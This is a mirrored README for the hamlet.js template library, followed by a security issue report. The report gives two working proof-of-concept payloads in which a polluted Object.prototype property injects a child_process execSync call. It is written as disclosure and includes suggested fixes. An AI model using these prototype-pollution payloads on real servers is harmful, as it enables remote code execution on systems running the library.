Giter Site home page Giter Site logo

hamlet.js's Introduction

Hamlet Html Templates for javascript

Hamlet is just html without redundancies. The big deal is that it uses your white space to automatically close tags. You already properly indent your tags right? Computers are supposed to automate things - lets have them close tags for us.

This is similar in concept to HAML or jade. However, HAML and jade abandons html syntax without justification. If we just apply significant white-space and a few other html-compatible shortcuts to regular HTML, we can get the benefit without the drawback. Designers that have used the Haskell version of Hamlet have really liked it.

I created this with client-side templates in mind, but it works server side with node.js

Syntax

<body>
    <p>Some paragraph.
    <ul>
        <li>Item 1
        <li>Item 2

That hamlet is equivalent to:

<body>
  <p>Some paragraph.</p>
  <ul>
    <li>Item 1</li>
    <li>Item 2</li>
  </ul>
</body>

Lets show some interpolation and CSS shortcuts:

<.foo>
  <span#bar data-attr=#{foo}>baz # this is a comment

That template invoked with: Hamlet(template, {foo:'f'}). generates:

<div class="foo"><span id="bar" data-attr="f">baz </span></div>

The library currently does not try to pretty print the resulting html, although it wouldn't be hard to do. Note the interpolation #{var}}. You can use other interpolation styles by changing the RegExp Hamlet.templateSettings.interpolate. You can put any javascript you would like in the interpolation.

Good error messages

Unlike Jade and many other templating options, Hamlet will tell you the line on which a javascript interpolation error occurred in your template. This does make it less powerful: read the next section.

Note that Hamlet will pretty much parse about anything and spit it out as HTML so there aren't parsing syntax errors to deal with. In practice there are very few syntax issues because you already know hamlet: it is just HTML!.

Important: hamlet.js does not have a construct for conditional html (an if statement)

Think of hamlet.js as your HTML pre-processor, but don't use it by itself to server 100% of your templating needs. hamlet.js works well when paired with something like AngularJS.

Good use cases for hamlet.js

  • server-side (nodejs) usage: a template language for client-heavy apps. hamlet.js is used to stick a few values in server side, but AngularJS is used for most actual logic client-side.
  • client-side usage: client heavy apps that use hamlet.js just as an html pre-processor. A client-side AngularJS template can be written more concisely and safely with hamlet.js. It is first expanded through hamlet.js
  • client-side usage: client light applications that just want to stick a few values into their client-side html, but don't need template logic.

Bad use cases

  • server-side (nodejs) usage: template langauge where all template logic is performed on the server
  • client-side usage: a client-heavy app where all logic is encoded in hamlet.js

interpolation

hamlet.js consists of the core hamlet language interspersed with javascript evaluation via #{js}. The only thing you can place in the javascript evaluation is something that produces a String. There is no way to have an if that may include some html if true.

hamlet.js is designed for client-heavy apps that are using something like AngularJs on the client-side. #{} is for simple server-side templating, and an angular user can still use {{}} for the client-side (although ng-bind is often a better choice)

One benefit of the limited js evaluation is that hamlet can recover very good error messages when used on the server side (by evaluating each line of the template one-by-one). Having conditionals (as jade does by default for example) ruins error message reporting because the entire template must be evaluated at once.

Overview

It is just HTML! But redundancies are taken away

  • quoting attributes is not required unless they have spaces
  • Indentation is used to automatically close tags.

This loosely follows the original Haskell Hamlet template language that I helped design. This implementation is simpler because it is invoked at runtime, just does a simple javascript eval, and has no concept of type insertion - this includes no html escaping. There is a fork of this library that uses Haskell Hamlet style interpolation.

Usage

This uses the same style and code as the template function from underscore.js

rendered_html = Hamlet(template, object)

or

pre_compiled_template = Hamlet(template)
rendered_html = pre_compiled_template(object)

Or you can avoid all variable assertion and just expand hamlet with:

Hamlet.toHtml('<p>') // "<p></p>"

nodejs

var hamlet = require('hamlet').hamlet

hamlet('<p>') // "<p></p>"

There is also a command line program bin/hamlet.js. It is not listed in package.json due to some weird install issues. Similarly, the dependencies for that program are listed in the devDependencies.

Meteor

There is an atmosphere package.

Express

It should work with the '.hamlet' extension.

Layouts

This uses the filesystem so it only works for nodejs. Just add layout path/to/layout at the very top of your template. In your layout file, use the special content variable #{content} to include the inner template content.

Since Hamlet is designed for client-heavy usage there are no plans to support partials directly.

You can of course manually create layouts or partials by first rendering an inner template and setting that as a local variable in the outer template.

class/id shortcuts

The CSS-based shortcuts are originally taken from the HAML markup language. A '#' indicates an id, and a '.' indicates a class. You can add as many classes this way as you like.

Comments

Comments begin with a '#' character. When the template is compiled they are removed, not converted to html comments. There is no support for html comments.

White space

Using indentation does have some consequences with respect to white space. This library is designed to just do the right thing most of the time. This is a slightly different design from the original Haskell implementation of Hamlet.

A closing tag is placed immediately after the tag contents. If you want to have a space before a closing tag, use a comment sign # on the line to indicate where the end of the line is.

<b>spaces  # 2 spaces are included
<b>spaces  </b>

White space is automatically added after tags with inner text. If you have multiple lines of inner text without tags (not a common use case) they will also get a space added. If you do not want white space, you point it out with a > character, that you could think of as the end of the last tag, although you can still use it when separating content without tags onto different lines. You can also use a > if you want more than one space.

<p>
  <b>no space
  >none here either.
  >  Two spaces after a period is bad, just use one!
<p><b>no space</b>none here either.  Two spaces after a period is bad, just use one!</p>

Closing bracket

currently the '>' character is optional if there is no inner text on the same line. In the future this will be changed to be required so that tag attributes can span multiple lines.

Limitations

Hamlet just uses a simple eval interpolation. This works well for me on an AngularJS project where AngularJS is actually doing the templating. You might be able to use Hamlet to pre-process for another templating system.

Development

Requires Coffeescript, although if you are only comfortable changing js I can easily port it to the Coffeescript file.

Testing

The test suite is pretty good now. I create a regression test for every issue I notice.

npm test

You can run the tests in a browser by opening test/test.html and looking at the console.

Test cases can be ported from the Haskell Hamlet test suite

Converting from jade

If there are no variables interpreted in your jade, you can compile it down to html

> jade.compile('test(attr="val") text', {debug:false, compileDebug:false, pretty:true, client:true})()
'\n<test a="val">wtf</test>'

TODO: If there are variables, is there a way to set every variable value to #{variable} ?

Converting from html

One of the great things about Hamlet is that for a small amount of HTML, you can just delete the closing tags.

There is a Haskell tool html2hamlet (install Haskell, then cabal install html2hamlet)

> echo '\n<test a="val">text</test>' | ./cabal-dev/bin/html2hamlet
!!!
<test a="val">
  text

Thanks

I wrote the parser code, but the template insertion is stolen from micro-template and express integration from jade.

hamlet.js's People

Contributors

gregwebs avatar strathmeyer avatar maxcan avatar

Stargazers

Kaan avatar Ioan Rîpan avatar Andrew Meier avatar  avatar Omran Jamal avatar Ramon Barros avatar Petter Rasmussen avatar Matthew Griffith avatar Song Liu avatar Christopher Reichert avatar Florida Ivanne Elago avatar Ian Walter avatar Charlike Mike Reagent avatar João Campos avatar Charly C. avatar Vojtěch Kusý avatar Elliott avatar Michiel van Oosten avatar Volkan Özçelik avatar Matt Hayes avatar newboy avatar Sandy avatar Roberto Sanchez avatar Samuel Hobl avatar Arash Rouhani avatar Michael G. Rexroad avatar Mark Bradley avatar Anupam <|> अनुपम avatar Bob TheBuilder avatar Hugo avatar Ian Duncan avatar Matthew Elder avatar  avatar William Stuart Lazar avatar  avatar Luke Randall avatar

Watchers

 avatar James Cloos avatar David Freitag avatar  avatar

hamlet.js's Issues

vulnerable undefined property lookup that escalating prototype pollution to remote code execution

Hello,

I've identified several prototype pollution gadgets within the hamlet.js template engine that could potentially be leveraged by attackers to achieve remote code execution via prototype pollution vulnerabilities.

In light of the findings, I kindly request your confirmation of these potential issues to improve the security of the JavaScript ecosystem. We would greatly appreciate any steps taken to address them and we stand ready to submit a pull request on the GitHub repository to help improve the security for all users of your excellent work.

Root Cause

The existence of these gadgets can be attributed to a specific programming practice. When checking for the presence of a property within an object variable, the lookup scope isn't explicitly defined. In JavaScript, the absence of a defined lookup scope prompts a search up to the root prototype (Object.prototype). This could potentially be under the control of an attacker if other prototype pollution vulnerabilities are present within the application.

Some vulnerable coding patterns are as follows.

if(obj.prop){ //... }
var x = obj.prop || ''

Impact

If the application server is using the hamlet.js as the backend template engine, and there is another prototype pollution vulnerability in the application, then the attacker could leverage the found gadgets in the hamlet.js template engine to escalate the prototype pollution to remote code execution.

Proof of Concept

Below, I present a Proof of Concept (PoC) to demonstrate the gadgets that I've recently identified in [email protected].

Gadget 1

Object.prototype.variable = "x;\nprocess.mainModule.require('child_process').execSync(\`sleep 10\`);\nvar it"

templateString = `<body>
<p>Some paragraph.
<ul>
    <li>Item 1
    <li>Item 2
<.foo>
    <span#bar data-attr=#{foo}>baz # this is a comment`

Hamlet(templateString, {foo:'f'})

Gadget 2

Object.prototype.filename = "' + (process.mainModule.require('child_process').execSync(\`sleep 10\`)) + '"

const templateString =  `<body>
<p>Some paragraph.
<ul>
    <li>Item 1
    <li>Item 2
<.foo>
    <span#bar data-attr=#{foo}>baz # this is a comment`

/*
    This requries trigger an error in the render stage as the inject code is in the catch block
    This is fairly commonly seen scanrio if the server is passing user inputs as the data of function while they are missing a required variable (e.g. foo)
*/
let ret = Hamlet(templateString, {})

General Suggested Fix

To mitigate this issue, I recommend constraining the property lookup to the current object variable.
Here are two general strategies:

  1. Utilize the hasOwnProperty method, especially when there's no need to traverse the prototype chain.
if(obj.hasOwnProperty('prop')){ //... }
var x = obj.hasOwnProperty('prop') ? obj.prop : ''
  1. Alternatively, consider using Object.create(null) to create a truly empty object, which won't include the proto property.
var obj = Object.create(null);

By adopting these measures, we can effectively prevent the potential exploitation of prototype pollution vulnerabilities.

Reference

Here is the reference link where the similar security issue has been found in ejs template engine:
mde/ejs#601

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.